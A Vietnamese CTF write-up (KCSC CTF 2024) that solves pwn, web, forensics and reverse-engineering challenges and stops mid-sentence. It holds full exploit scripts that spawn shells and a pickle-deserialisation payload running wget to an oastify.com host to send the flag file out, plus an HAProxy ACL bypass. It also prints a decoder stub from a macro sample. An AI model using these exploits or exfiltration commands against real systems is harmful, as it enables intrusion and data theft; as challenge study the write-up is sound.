Ngô Vinh Huy
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # KCSC CTF 2024 ## Misc ### Discord Check Vào discord của giải ta thấy được flag ![image](https://hackmd.io/_uploads/H1YTEHlmR.png) ## Pwn ### KCSBanking Ta thấy có bug format string ở hàm info: ```c int info() { printf(usr_name); return printf("Money: %u\n", (unsigned int)money); } ``` Tuy nhiên, đa số các buffer user nhập vào đều sẽ được lưu vào ở heap, chỉ có ở hàm `account_action` cho ta một option để lưu buffer ở stack: ```c unsigned __int64 account_action() { int v1; // [rsp+8h] [rbp-118h] BYREF int v2; // [rsp+Ch] [rbp-114h] char s[264]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v4; // [rsp+118h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 0; while ( !v2 ) { account_menu(); __isoc99_scanf("%d", &v1); getchar(); if ( v1 == 4 ) { v2 = 1; printf("Please leave a feedback: "); fgets(s, 256, stdin); puts("See you later!"); } ... ``` Sau khi nhập 255 chữ 'A', đặt breakpoint tại `info+23`: ![image](https://hackmd.io/_uploads/SkYm9S1mA.png) mình thấy chỉ còn sót lại data của buffer ở `$rsp+0xc0` và `$rsp+0xc8`. Vì vậy, mình sẽ tận dụng 2 vị trí để thực hiện ghi đè một giá trị bất kỳ tới một địa chỉ tùy ý. Đầu tiên, tận dụng bug để leak mem: ```python #!/usr/bin/env python from pwn import * from pwn import p8, p16, p32, p64, u8, u16, u32, u64 from time import sleep context.binary = e = ELF("banking_patched") libc = ELF("libc.so.6") gs = """ brva 0x01656 """ def start(): if args.LOCAL: p = e.process() elif args.REMOTE: # python x.py REMOTE <host> <port> host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p p = start() def reg(usr, pass_, name): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"New username: ", usr) p.sendlineafter(b"New password: ", pass_) p.sendlineafter(b"Your full name: ", name) def login(usr, pass_): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"Username: ", usr) p.sendlineafter(b"Password: ", pass_) reg(b"oke", b"oke", b"%7$p%11$p%10$p") login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") p.recvuntil(b"0x") e.address = int(p.recv(12).decode(), 16) - 0x17d6 p.recvuntil(b"0x") libc.address = int(p.recv(12).decode(), 16) - 0x55b32 p.recvuntil(b"0x") to_write = int(p.recv(12).decode(), 16) - 0x128 + 0x150 rdi_ret = 0x00000000000240e5 + libc.address ``` Mình nhận thấy chúng ta có thể trở lại hàm `info` bao nhiêu lần tùy ý nên mình chia giá trị cần ghi đè thành 3 chunk 16bit lần lượt ghi vào `address`, `address+2`, `address+4`. ```python def write_format(addr, value): x = value & ((1 << 16) - 1) y = (value >> 16) & ((1 << 16) - 1) z = (value >> 32) & ((1 << 16) - 1) p.sendlineafter(b"> ", b"4") p.sendlineafter(b"lease leave a feedback: ", ((p64(addr)*2)*(256//0x10))[:-1]) reg(b"oke", b"oke", f"%{x}c%31$hn".encode()) login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") p.sendlineafter(b"> ", b"4") p.sendlineafter(b"lease leave a feedback: ", ((p64(addr+2)*2)*(256//0x10))[:-1]) reg(b"oke", b"oke", f"%{y}c%31$hn".encode()) login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") p.sendlineafter(b"> ", b"4") p.sendlineafter(b"lease leave a feedback: ", ((p64(addr+4)*2)*(256//0x10))[:-1]) reg(b"oke", b"oke", f"%{z}c%31$hn".encode()) login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") ``` Ghi đè return address của hàm main: ```python write_format(to_write, rdi_ret) write_format(to_write+8, next(libc.search(b"/bin/sh"))) write_format(to_write+0x10, rdi_ret+1) write_format(to_write+0x18, libc.sym.system) ``` Script: ```python! #!/usr/bin/env python from pwn import * from pwn import p8, p16, p32, p64, u8, u16, u32, u64 from time import sleep context.binary = e = ELF("banking_patched") libc = ELF("libc.so.6") gs = """ brva 0x01656 """ def start(): if args.LOCAL: p = e.process() elif args.REMOTE: # python x.py REMOTE <host> <port> host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p p = start() def reg(usr, pass_, name): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"New username: ", usr) p.sendlineafter(b"New password: ", pass_) p.sendlineafter(b"Your full name: ", name) def login(usr, pass_): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"Username: ", usr) p.sendlineafter(b"Password: ", pass_) reg(b"oke", b"oke", b"%7$p%11$p%10$p") login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") p.recvuntil(b"0x") e.address = int(p.recv(12).decode(), 16) - 0x17d6 p.recvuntil(b"0x") libc.address = int(p.recv(12).decode(), 16) - 0x55b32 p.recvuntil(b"0x") to_write = int(p.recv(12).decode(), 16) - 0x128 + 0x150 rdi_ret = 0x00000000000240e5 + libc.address def write_format(addr, value): x = value & ((1 << 16) - 1) y = (value >> 16) & ((1 << 16) - 1) z = (value >> 32) & ((1 << 16) - 1) p.sendlineafter(b"> ", b"4") p.sendlineafter(b"lease leave a feedback: ", ((p64(addr)*2)*(256//0x10))[:-1]) reg(b"oke", b"oke", f"%{x}c%31$hn".encode()) login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") p.sendlineafter(b"> ", b"4") p.sendlineafter(b"lease leave a feedback: ", ((p64(addr+2)*2)*(256//0x10))[:-1]) reg(b"oke", b"oke", f"%{y}c%31$hn".encode()) login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") p.sendlineafter(b"> ", b"4") p.sendlineafter(b"lease leave a feedback: ", ((p64(addr+4)*2)*(256//0x10))[:-1]) reg(b"oke", b"oke", f"%{z}c%31$hn".encode()) login(b"oke", b"oke") p.sendlineafter(b"> ", b"3") write_format(to_write, rdi_ret) write_format(to_write+8, next(libc.search(b"/bin/sh"))) write_format(to_write+0x10, rdi_ret+1) write_format(to_write+0x18, libc.sym.system) p.interactive() ``` ![image](https://hackmd.io/_uploads/Syejsrk7A.png) Flag: `KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}` ### PetDog Bug out of bound tại hàm `buy`, không check `idx` < 0: ```c int __fastcall buy(char *a1) { int v1; // ebx Pet **v2; // rax int v3; // eax Pet *v4; // rbx int idx; // [rsp+1Ch] [rbp-424h] BYREF char s[1037]; // [rsp+20h] [rbp-420h] BYREF char s1[19]; // [rsp+42Dh] [rbp-13h] BYREF memset(s, 0, 0x400uLL); if ( (unsigned int)__isoc99_sscanf(a1, "%3s %d", s1, &idx) != 2 ) goto LABEL_12; --idx; v1 = pet_count; pet_list[v1] = (Pet *)malloc(0x10uLL); if ( strncmp(s1, "cat", 3uLL) ) { if ( strncmp(s1, "dog", 3uLL) ) { puts("We only have cats and dogs!"); v2 = pet_list; pet_list[pet_count] = 0LL; return (int)v2; } if ( idx > 3 ) { puts("Invalid type of dog!"); v2 = pet_list; pet_list[pet_count] = 0LL; return (int)v2; } pet_list[pet_count]->type = dogs[idx]; goto LABEL_11; } if ( idx <= 3 ) { pet_list[pet_count]->type = cats[idx]; LABEL_11: puts("Seller --> What is your pet's name?"); printf("You --> "); fgets(s, 1024, stdin); v3 = pet_count++; v4 = pet_list[v3]; v4->name = strdup(s); LABEL_12: LODWORD(v2) = puts("Seller --> It's fun to have pet in your house!"); return (int)v2; } puts("Invalid type of cat!"); v2 = pet_list; pet_list[pet_count] = 0LL; return (int)v2; } ``` Tuy nhiên `cats` là `char*[]`, nên mình cần `cats[idx]` là một pointer đang trỏ tới một address ( để leak mem ), hiển nhiên `got` không thỏa mãn điều này. May mắn thay, mình để ý: ![image](https://hackmd.io/_uploads/SyzBTBJmR.png) `__dso_handle` là một pointer trỏ tới chính nó, nên mình sẽ tận dụng nó để leak PIE. Tiếp theo là bug stack uninitialize ở hàm `sell` ```c int __fastcall sell(char *a1) { int n; // [rsp+18h] [rbp-208h] BYREF unsigned int v3; // [rsp+1Ch] [rbp-204h] BYREF char s[512]; // [rsp+20h] [rbp-200h] BYREF memset(s, 0, sizeof(s)); if ( (unsigned int)__isoc99_sscanf(a1, "%d", &v3) != 1 || v3 > 7 || !pet_list[v3] ) return puts("Seller --> There are no pet in that index!"); pet_list[v3] = 0LL; puts("Seller --> Nooooo, why you want to sell your pet?"); puts("Seller --> How many characters in your reason?"); printf("You --> "); if ( (unsigned int)__isoc99_scanf("%d", &n) == 1 && (n <= 0 || n > 511) ) return puts("Invalid size!"); getchar(); puts("Seller --> Your reason?"); printf("You --> "); fgets(s, n, stdin); return puts("Seller --> That seems reasonable!"); } ``` `n` có thể là bất cứ giá trị nào trước khi bị ghi đè ở hàm `scanf`. Hàm `scanf` không ghi đè `n` nếu nhập `-` hoặc `+`, khi đó `scanf` sẽ return 0. Vậy đơn giản, ta nhập `n` là một số rất lớn trước. Khi gọi lại hàm `sell`, chỉ cần nhập dấu `-` thì hàm `sell` vẫn tiếp tục chạy. Script: ```python #!/usr/bin/env python from pwn import * from pwn import p8, p16, p32, p64, u8, u16, u32, u64 from time import sleep context.binary = e = ELF("petshop_patched") libc = ELF("./libc.so.6") gs = """ # brva 0x014F0 brva 0x16C3 """ def start(): if args.LOCAL: p = e.process() if args.GDB: gdb.attach(p, gdbscript=gs) pause() elif args.REMOTE: # python x.py REMOTE <host> <port> host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p p = start() def buy_dog(idx, name): p.sendlineafter(b"--> ", f"buy dog {idx}".encode()) p.recvuntil(b"Seller --> What is your pet's name?\n") p.sendlineafter(b"--> ", name) def buy_cat(idx, name): p.sendlineafter(b"--> ", f"buy cat {idx}".encode()) p.recvuntil(b"Seller --> What is your pet's name?\n") p.sendlineafter(b"--> ", name) buy_dog(-6, b"A"*0x40) p.sendlineafter(b"--> ", b"info mine") p.recvuntil(b'Your pets:\n') p.recvuntil(b'1. ') leak = u64(p.recv(6)+b'\0\0') e.address = leak - 0x4008 log.success(hex(e.address)) rdi_ret = 0x0000000000001a13 + e.address buy_cat(0, b'A'*0x100) buy_cat(1, b'A'*0x100) buy_cat(1, b'A'*0x100) p.sendlineafter(b"--> ", f"sell 0".encode()) p.sendlineafter(b'Seller --> How many characters in your reason?\n', b"4000") p.sendlineafter(b"--> ", f"sell 1".encode()) p.sendlineafter(b'Seller --> How many characters in your reason?\n', b"-") p.sendline( b'A'*0x208 + p64(rdi_ret) + p64(e.got.puts) + p64(e.plt.puts) + p64(e.sym.main) ) p.recvuntil(b'You --> Seller --> That seems reasonable!\n') libc.address = u64(p.recv(6)+b'\0\0') - libc.sym.puts p.sendlineafter(b"--> ", f"sell 2".encode()) p.sendlineafter(b'Seller --> How many characters in your reason?\n', b"4000") p.sendlineafter(b"--> ", f"sell 3".encode()) p.sendlineafter(b'Seller --> How many characters in your reason?\n', b"-") p.sendline( b'A'*0x208 + p64(rdi_ret) + p64(next(libc.search(b'/bin/sh'))) + p64(rdi_ret+1) + p64(libc.sym.system) ) p.interactive() ``` ![image](https://hackmd.io/_uploads/SJhPAH170.png) Flag: `KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}` ### Simple Qiling Bug buffer overflow đơn giản: ```c __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF buf[5] = __readfsqword(0x28u); sub_11E9(a1, a2, a3); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); alarm(0x20u); memset(buf, 0, 32); puts("Pls input what you want to say"); read(0, buf, 0x100uLL); return 0LL; } ``` Tuy nhiên lại dính mitigation rất chặt: ![image](https://hackmd.io/_uploads/rJ21yLyQA.png) Tuy nhiên binary đang chạy qua emulator Qilling, không phải trực tiếp. Mình đã từng làm việc với Qilling ([link](https://robbert1978.github.io/2023/07/18/2023-7-19-Zer0pts-ctf-writeup/#qjail)), thì PIE address sẽ luôn có định là `0x0000555555554000` , còn canary là `0x6161616161616100`. Khi có PIE sẵn rồi thì ta chỉ cần leak libc và ret2libc đơn giản. Script: ```python #!/usr/bin/env python from pwn import * from pwn import p8, p16, p32, p64, u8, u16, u32, u64 from time import sleep gs = """ """ context.binary = e = ELF("simpleqiling") libc = ELF("libc.so.6") def start(): if args.LOCAL: p = process(["python", "qi.py", "simpleqiling"]) # if args.GDB: # gdb.attach(p, gdbscript=gs) # pause() elif args.REMOTE: # python x.py REMOTE <host> <port> host_port = sys.argv[1:] p = remote(host_port[0], int(host_port[1])) return p e.address = 0x0000555555554000 rdi_ret = e.address+0x0000000000001473 p = start() p.sendafter(b'Pls input what you want to say\n', b'A'*40 + p64(0x6161616161616100) + p64(0) + p64(rdi_ret) + p64(e.got.puts) + p64(e.plt.puts) + p64(e.address+0x1314) ) libc.address = u64(p.recv(6)+b'\0\0') - libc.sym.puts p.recv(1) log.success(hex(libc.address)) _bss = libc.address+0x1ec500 rsi_ret = libc.address+0x000000000002601f rdx_ret = libc.address+0x0000000000142c92 p.sendafter(b'Pls input what you want to say\n', b'A'*40 + p64(0x6161616161616100) + p64(0) + p64(rdi_ret)+p64(0) + p64(rsi_ret)+p64(_bss) + p64(rdx_ret)+p64(0x1000)+p64(libc.sym.read) + p64(rdi_ret)+p64(_bss) + p64(rsi_ret)+p64(0x1000) + p64(rdx_ret)+p64(7) + p64(libc.sym.mprotect) + p64(_bss) ) p.sendline(asm(shellcraft.amd64.linux.cat("flag.txt"))) p.interactive() ``` ![image](https://hackmd.io/_uploads/rJS4lL1XA.png) Script: `KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}` ## Web ### Bài Ka Tuổi Trẻ #### Phân tích ```python if request.args.get('file'): filename = join("./static", request.args.get('file')) if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2): try: with open(normpath(filename), "rb") as file: if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename: return file.read(1024 * 1024 * 2) except: pass return redirect("/?file=index.html") ``` Bài này gồm 2 services là **nginx proxy** và **flask app**. Chú ý flask app được start với 3 workers. Phần source của flask app cũng khá đơn giản với mục đích đọc file. Tuy nhiên phần logic của app này khá cấn vì nó mở file yêu cầu rồi mới check filename có hợp lệ hay không. Và tác giả cũng đã thêm phần timeout 2s để dẫn đúng hướng race condition. Khi mở file thì process handle request sẽ tạo ra 1 [fd](https://en.wikipedia.org/wiki/File_descriptor). **fd** hiểu đơn giản là định dạnh (số nguyên dương) cho file đang được mở, vì trên Linux mọi thứ đều là file nên kể cả input, output hay error cũng đều là các file. #### Race condition Vì ta đã bị filter `flag` nên để đọc được flag ta có thể đọc thông qua file fd được tạo ra khi mở file `flag.txt`. Kiểm tra ở docker có thể thấy 3 process chịu trách nhiệm việc handle request đến có PID là 7, 8, 9. Vậy khi ta gửi request lên cũng sẽ không thể nào đoán được request của ta sẽ được process nào sẽ handle. Nên cách tốt nhất là request liên tục đến để gunicorn chia tải đều cho 3 process. Ngoài ra khi mở file flag thì ta có thể thông qua docker xác định được fd của file này là 10. Vậy khi này ta chỉ cần đọc file `/proc/<PID>/fd/10` sẽ chính là file flag của ta. ![image.png](https://i.imgur.com/cgFGDHe.png) Khi khai thác thì mình sử dụng Intruder gửi song song liên tục 2 request, 1 đến file flag nhưng có chêm thêm đoạn path traversal để tăng thời gian xử lý regex để race dễ thành công hơn và request còn lại là request tới file fd. ![image.png](https://i.imgur.com/Q1n1pke.png) ### Restrictions #### Pickle restriction ```python unsafe_builtins = [ "exec", "eval", "__import__" ] def is_safe(module, name): if module == "builtins" and name not in unsafe_builtins: return True return False class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if is_safe(module, name): return super().find_class(module, name) else: raise pickle.UnpicklingError("'%s.%s' is forbidden" % (module, name)) ``` Trong các opcode như GLOBAL, STACK_GLOBAL, INST, ... thì `find_class` là hàm được sử dụng để truy xuất đến class trong một module tương ứng, bài ghi đè method này và thực hiện check bằng `is_safe` trước khi invoke original `find_class`. Ở đây thì ta chỉ được truy xuất đến các attribute của module `builtins`, nhưng không được là các hàm như `__import__`, `eval` hay `exec`. Cách bypass khá đơn giản, idea là ta sẽ truy xuất đến internal method `__setattr__` để set một hàm khác về `eval` và sau đó invoke đến hàm đó. ```py builtins.__setattr__('complex', builtins.__getattribute__('eval')) builtins.complex('...') ``` #### HAProxy ACL bypass Việc bypass ACL thông qua parser inconsistency mình đã nghĩ đến từ đầu, thực chất thì trước đây mình đã từng setup Gunicorn đứng sau HAProxy và phát hiện ra mánh nhỏ để bypass ACL path begin đó là Gunicorn không cần prefix bằng forward slash, nhưng có vẻ ở các commit sau thì giờ đây khi gặp một pathname thiếu forward slash thì HAProxy sẽ return 400. Mình thử khá nhiều trò nhưng cũng không rõ là bị inconsistent ở đâu, vì việc attend một CTF 8 tiếng mà phải đi flow một con như HAProxy thì khá căng, đến khi đến hint 3 thì mình có được đoạn code xử lý URI của HAProxy, đến đây mọi việc đã đơn giản hơn. https://git.haproxy.org/?p=haproxy-2.9.git;a=blob;f=src/http.c;h=9599e0eb586ab2527ec4b59dcfbde024f3b05244;hb=5742051f4a3e2211d8e0ab507d2d47826f34e0ed#l642 Ok, giờ ta cần biết khi nào thì hàm `http_parse_path` được gọi, để cho nhanh thì mình sẽ build lại HAProxy with debug symbol để check ![image](https://hackmd.io/_uploads/BJ3bl1eQA.png) Ok có vẻ `http_parse_path` được gọi khi cần check condition của ACL ![image](https://hackmd.io/_uploads/H1rzxkgXA.png) `expr->fetch->process` ở đây là con trỏ hàm tới `smp_fetch_path` ![image](https://hackmd.io/_uploads/rkymeyemC.png) Vì condition không phải `pathq` hay `baseq` nên nó sẽ nhảy vào nhánh gọi `http_parse_path` này ![image](https://hackmd.io/_uploads/r1Ihlyx70.png) Tham số của http_parse_path là `parser`, `parser` sẽ được initialize tại `smp_fetch_path` khi hàm này gọi `http_uri_parser_init`, tại đây sẽ detect format của path ![image](https://hackmd.io/_uploads/HyCog1eQC.png) Nếu path bắt đầu bằng `/` thì là `URI_PARSER_FORMAT_ABSPATH`, `*` thì là `URI_PARSER_FORMAT_ASTERISK`, nếu khác thì là `URI_PARSER_FORMAT_ABSURI_OR_AUTHORITY` Ta thấy format này sẽ được dùng để quyết định cách parse URI trong `http_parse_path`, nếu format là `URI_PARSER_FORMAT_ABSURI_OR_AUTHORITY` thì sẽ call đến `http_parse_scheme` ![image](https://hackmd.io/_uploads/rJNplylXC.png) Tại đây sẽ check pattern `://` để xác định scheme và URI, nếu không tìm thấy pattern này thì xem như không có scheme và path => path rỗng ![image](https://hackmd.io/_uploads/S1gfgqxQA.png) ![image](https://hackmd.io/_uploads/SJlrg9gX0.png) Ta buộc phải thêm `@` hoặc pattern `://` vào path để pass qua inital check, do `http_parse_path` được gọi khi check ACL nhưng trước đó request được check bởi một số step khác để chắc chắn rằng path format hợp lệ ![image](https://hackmd.io/_uploads/SkaAeklmA.png) Vậy ta có thể biến phần authority gồm username và password thành `pickme?a=a:a` để access vào endpoint `pickme`, do gunicorn sẽ accept một path không cần forward slash ![image](https://hackmd.io/_uploads/BkvvxcgXA.png) Full script: ```py import socket from pwn import pickle import pickletools import base64 payload = pickle.PROTO + bytes([5]) payload += pickle.GLOBAL + b"builtins\n__setattr__\n" payload += pickle.STRING + b"'complex'\n" payload += pickle.GLOBAL + b"builtins\n__getattribute__\n" payload += pickle.STRING + b"'eval'\n" payload += pickle.TUPLE1 payload += pickle.REDUCE payload += pickle.TUPLE2 payload += pickle.REDUCE payload += pickle.GLOBAL + b"builtins\ncomplex\n" payload += pickle.STRING + b"'__import__(\"subprocess\").check_output(\"wget 5fla6gea0prqavaghzmnkbjg57byzond.oastify.com/?a=`cat /flag.txt|base64 -w0`\", shell=True)'\n" payload += pickle.TUPLE1 payload += pickle.REDUCE payload += pickle.POP payload += pickle.STOP pickletools.dis(payload) payload = base64.b64encode(payload) s = socket.socket() s.connect(("192.168.238.129", 1337)) s.send((b""" POST pickme?a=@ HTTP/1.1 Host: 192.168.238.129:1337 Content-Type: application/x-www-form-urlencoded Content-Length: """+str(len(payload)+5).encode()+b""" pick="""+payload).strip().replace(b"\n", b"\r\n")) msg = s.recv(1024) print(msg.decode()) s.close() ``` ## For ### Jumper In Disguise Bài cho ta file macro, mở lên xem bằng phím tắt `Alt + F11` ![image](https://hackmd.io/_uploads/Hye__tNg70.png) Ở đoạn cuối có thể thấy ![image](https://hackmd.io/_uploads/Sybct4lQR.png) File macro sẽ mở file `Acheron.exe` lên và chạy với tham số `nifal`. Như vậy ta chỉ cần comment như hình và chạy code để lấy file `Acheron.exe` ra thôi. Sau khi chạy sẽ nhận được file `Acheron.exe` trong `C:\Users\{Username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` Nếu ta chạy file thì không chạy được, thử kiểm tra trong hxd ![image](https://hackmd.io/_uploads/ryvacNx7C.png) File đang mang pattern của một file PE, vậy thì có thể đang thiếu một key xor hoặc một cái gì đó khác Sử dụng cyberchef để tìm key xor (nếu có) dựa trên một file PE đúng ![image](https://hackmd.io/_uploads/r1Qpo4eQR.png) Có thể thấy key xor cần là 4 byte `05 07 07 03`. Sau khi xor ra và lấy được file PE đúng, thử chạy thì nhận được kết quả sau ![image](https://hackmd.io/_uploads/r15BhExmR.png) Dựa vào kết quả suy ra file này được làm dựa trên pyinstaller. Xài pyinstxtractor kết hợp uncompyle6 ta lấy được đoạn code python ```python """nR9aRuepXAGTojNrgfy3ai8iY5vq86RrJVwkOPRl5ne9vqd2b38dWd650pxpK/OMwkl1qcOeY/Bf+GYqKR7UG/0stVv2AfMjCYyb9CGSnZHqeaXLEd/2rhrni1+oyqqKuuQbawVTNY7ZcFJqejDjyw+1i2TSCgTuj1N7RZb9paxVlWZ/xLxz8pxrfhdtStZPVflTB24X1yQ/mZNfYWepk2zblSmsnq6sPRGr+50EeB0E+1j1igDuVTv0Ym1cS45QNMymjP0hFY5DjvR0W0EraJdEoXR6dQvgBPKSwdJ0JI87iPkesR3M7I77mtKtmNv5ydm3eo5TYzmbnXL42rZnLrhmgmNFzXa3gDYxnYBtmzgLTB3PQ3qVnSPVI2mr1GD7hCLQDeHm1HFEwx3dPvBwKhLSWqQw7Crw37OTaJCYOCLDlPzE1GZc2sOITPq2xckalHsjzXJMZ83u4FPSW31LS4hvdLb1LNl6vOgEMkUgaGqtfVO7AHPMwHFY7wO+1ggzJubH1MlX3UAtqS8DtskzeeSrHaS1GNyr5Pp6cVbUJLqSREHrmqJ/pi/3637Fyjsj374laynjrsJA8txeUD5GoNVIgB82rftGPNE6JR46JnBx0o8koHkXuKySWrPGkPV/IS2tZIb0O9qinGRQWI/hxm5q1qPVloqtVn644DVaeM9K4NGCU6VS2YDhEMlADOht5T3U2KbfoQD9HPta5W82HfaKv2/yJs+UfVd9xKfTQ/k4q3ob9nVupqiwTNgPWgaHPS36LZtGL3lEQTLaNRX3BQVDGuFY4s3RZQk/Oq9MkD5ZUVQlEJCQDezT40pbvWJRn+2OaKZizb3fbnKM0ggUbDKEU1gsI2OPrdqq3W/8Zel5NwC/7fdhiL+2zuO58JamssKdTc7e8CcwKhVRBFGs6Q0uYCx+VKXgnO7dn+ojW6RiQGeDb6w4IufhEvJxH56fgWcO52ZnvhOYymHKtztJSWLDn5H6hyEvCS48UPFW3SrCqxOXVadzcl4OOJkOoRBQ09PRfJd1mN92rF0kH23AyRvJWjQXXJ78uxeNoaRDmK6zDPS1R0LR40J0dPwJGnZYEeWyPw==""" import sys from base64 import b64decode as d S = [i for i in range(256)] j = 0 out = [] for i in range(256): j = (j + S[i] + ord(sys.argv[1][i % len(sys.argv[1])])) % 256 S[i], S[j] = S[j], S[i] i = j = 0 for char in d(globals()["__doc__"]): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] out.append(char ^ S[(S[i] + S[j]) % 256]) exec("".join([chr(out[i] ^ open(sys.argv[0], "rb").read(4)[i % 4]) for i in range(len(out))])) ``` Có thể nó đang lấy key từ vba chính là argument 1 được truyền vào, sau đó thực hiện rc4 và xor với `open(sys.argv[0], "rb").read(4)[i % 4]`, cũng chính 4 byte header của file PE Sau khi chạy ta nhận được output ![image](https://hackmd.io/_uploads/BksVbBem0.png) Đây không phải là output đúng, vậy key rc4 cần phải xor với key ta tìm được từ cyberchef ở trên. Sau khi xor ta tìm được key đúng như thế này ``` Kyoutei saitaku, shoudou sakusen jikkou!!! ``` Thử chạy lại thì nhận được output có flag ![image](https://hackmd.io/_uploads/SJUWGBgmR.png) ### Externet Inplorer Mục tiêu của bài này là tìm được timestamp của url Tìm kiếm với các từ khóa liên quan ta tìm được blog này `https://www.magnetforensics.com/resources/analyzing-timestamps-in-google-search-urls/`, trong blog có một tool [unfurl](https://dfir.blog/introducing-unfurl/) ![image](https://hackmd.io/_uploads/BkNX7Be7R.png) Flag là: KCSC{2023-09-18_08:32:22.547027} ## Rev ### f@k3 Ta thấy được chương trình với hàm main như sau: ![image](https://hackmd.io/_uploads/HyYmq4gmA.png) Sau khi rev sơ qua thì dễ thấy được chương trình check flag bằng RC4 khá đơn giản. Nhưng sau khi viết một script thì lại in ra fake flag ```python enc= [0xDF,0x45,0x43,0x31,0x86,0x26,0x74,0x9F,0xA9,0x76,0x8D,0xAA,0x94,0x74,0xB7,0x2E,0x9E, 0xA2, 0x14, 5,0x6D,0xA9,0xDE,0xA7,0x50,0x39,0x11] enc = bytearray(enc) key = "F@**!" print(ARC4.new(key.encode()).decrypt(enc)) #output b'KCSC{Could_be_a_f*k*_flag!}' ``` Kiểm tra lại trên main thì thấy được có rất nhiều hàm được đặt ở đây ![image](https://hackmd.io/_uploads/HJab2Vem0.png) Kết hợp với việc debug xem thử xem các hàm này được gọi đến khi nào và đang làm gì tại đây. Ta sẽ bắt gặp được chứ năng các hàm như sau. Đầu tiên với hàm `sub_140001490`: ![image](https://hackmd.io/_uploads/SJkihEgXR.png) Hàm này đang duyệt qua tất cả các module được tải vào chương trình và tìm xem, khi nào được `lstrcmpA` được load vào. Khi `lstrcmpA` được load vào thì chương trình cố tình gắn hàm này cho một hàm `sub_140001230`. Vào `sub_140001230` thấy được ở đây đang thực hiện một phép xor đơn giản ![image](https://hackmd.io/_uploads/SkUmTExmA.png) Tiếp tục đến với hàm `sub_1400013D0`, hàm này đang cố gắng thay đổi `key` được đặt ở global. ![image](https://hackmd.io/_uploads/Sy1d6NgX0.png) Nhưng điều đáng chú ý ở đây chính là hàm này check debug. Để bypass chỉ cần thay đổi nhánh chương trình chạy là hoàn thành. Vậy flow bài này quá rõ ràng. Đầu tiên check antidebug, nếu có thì không thực hiện thay đổi key, nếu không có thì sẽ tiến hành thay đổi key. Tiếp đến modify hàm `lstrcmpA` thành một 